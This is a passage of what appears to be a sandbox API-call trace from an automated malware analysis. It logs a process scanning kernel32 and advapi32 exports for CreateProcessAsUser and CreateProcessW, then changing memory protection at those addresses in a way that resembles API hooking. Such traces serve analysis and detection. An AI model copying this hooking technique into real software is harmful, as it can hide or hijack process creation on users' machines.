lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessAsUserW") returned -1 [0079.357] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessAsUserW") returned -1 [0079.358] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessAsUserW") returned 0 [0079.358] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x2) returned 1 [0079.358] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241edc0 [0079.358] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ede0 [0079.358] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241edc0 | out: hHeap=0x2020000) returned 1 [0079.358] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ede0 | out: hHeap=0x2020000) returned 1 [0079.358] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x20) returned 1 [0079.358] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x40) returned 1 [0079.359] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x40) returned 1 [0079.359] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed00, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed00, ReturnLength=0x0) returned 0x0 [0079.359] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0079.359] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241edc0 [0079.359] lstrcmpA (lpString1="A_SHAFinal", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="A_SHAInit", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="A_SHAUpdate", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AbortSystemShutdownA", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AbortSystemShutdownW", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheck", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByType", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByTypeResultList", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAccessAllowedAce", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAccessAllowedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAccessAllowedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAccessDeniedAce", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAccessDeniedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAccessDeniedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAce", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAuditAccessAce", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAuditAccessAceEx", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddAuditAccessObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0079.359] lstrcmpA (lpString1="AddConditionalAce", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AddMandatoryAce", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AddUsersToEncryptedFile", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AddUsersToEncryptedFileEx", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AdjustTokenGroups", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AllocateLocallyUniqueId", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AreAllAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AreAnyAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditComputeEffectivePolicyBySid", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditComputeEffectivePolicyByToken", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditEnumerateCategories", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditEnumeratePerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditEnumerateSubCategories", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditFree", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditLookupCategoryGuidFromCategoryId", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditLookupCategoryIdFromCategoryGuid", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditLookupCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditLookupCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditLookupSubCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditLookupSubCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditQueryGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditQueryGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditQueryPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditQuerySecurity", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditQuerySystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditSetGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditSetGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditSetPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditSetSecurity", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="AuditSetSystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BackupEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BackupEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BuildExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BuildExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BuildImpersonateTrusteeA", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BuildImpersonateTrusteeW", lpString2="CreateProcessAsUserA") returned -1 [0079.360] lstrcmpA (lpString1="BuildSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithSidA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="BuildTrusteeWithSidW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CancelOverlappedAccess", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ChangeServiceConfig2A", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ChangeServiceConfig2W", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ChangeServiceConfigA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ChangeServiceConfigW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CheckTokenMembership", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ClearEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ClearEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CloseCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CloseEncryptedFileRaw", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CloseEventLog", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CloseServiceHandle", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CloseThreadWaitChainSession", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CloseTrace", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="CommandLineFromMsiDescriptor", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ComputeAccessTokenFromCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ControlService", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ControlServiceExA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ControlServiceExW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ControlTraceA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ControlTraceW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedA", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessW", lpString2="CreateProcessAsUserA") returned -1 [0079.361] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertSidToStringSidA", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSDToSDDomainA", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSDToSDDomainW", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSidToSidA", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="ConvertToAutoInheritPrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="CopySid", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="CreateCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="CreatePrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="CreatePrivateObjectSecurityEx", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="CreatePrivateObjectSecurityWithMultipleInheritance", lpString2="CreateProcessAsUserA") returned -1 [0079.362] lstrcmpA (lpString1="CreateProcessAsUserA", lpString2="CreateProcessAsUserA") returned 0 [0079.362] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x2) returned 1 [0079.362] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ee30 [0079.362] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ee50 [0079.362] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ee30 | out: hHeap=0x2020000) returned 1 [0079.362] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ee50 | out: hHeap=0x2020000) returned 1 [0079.362] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x20) returned 1 [0079.380] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x40) returned 1 [0079.380] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x40) returned 1 [0079.381] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed00, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed00, ReturnLength=0x0) returned 0x0 [0079.381] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1000) returned 0x241ee30 [0079.381] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77320000 [0079.381] GetProcAddress (hModule=0x77320000, lpProcName="EnumProcessModules") returned 0x77321050 [0079.381] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x241ee30, cb=0x1000, lpcbNeeded=0x27ee08 | out: lphModule=0x241ee30, lpcbNeeded=0x27ee08) returned 1 [0079.381] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x13f510000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x13f510000, AllocationBase=0x13f510000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.382] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.382] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241fe40 [0079.382] lstrcmpiA (lpString1="SignalInitializeCrashReporting", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="SignalChromeElf", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="GetInstallDetailsPayload", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="ImpersonateNamedPipeClient", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="SetEntriesInAclW", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="GetSecurityInfo", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="SystemFunction036", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RegDisablePredefinedCache", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="RevertToSelf", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="SetKernelObjectSecurity", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessW") returned -1 [0079.382] lstrcmpiA (lpString1="GetKernelObjectSecurity", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="SetSecurityInfo", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessW") returned -1 [0079.382] lstrcmpiA (lpString1="SetTokenInformation", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="GetAce", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="GetSecurityDescriptorSacl", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessW") returned -1 [0079.382] lstrcmpiA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0079.382] lstrcmpiA (lpString1="SetThreadToken", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="DuplicateTokenEx", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="DuplicateToken", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="CreateRestrictedToken", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="EqualSid", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="LookupPrivilegeValueW", lpString2="CreateProcessW") returned 1 [0079.382] lstrcmpiA (lpString1="CopySid", lpString2="CreateProcessW") returned -1 [0079.382] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0079.383] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="GetProcessId", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessW") returned 1 [0079.383] lstrcmpiA 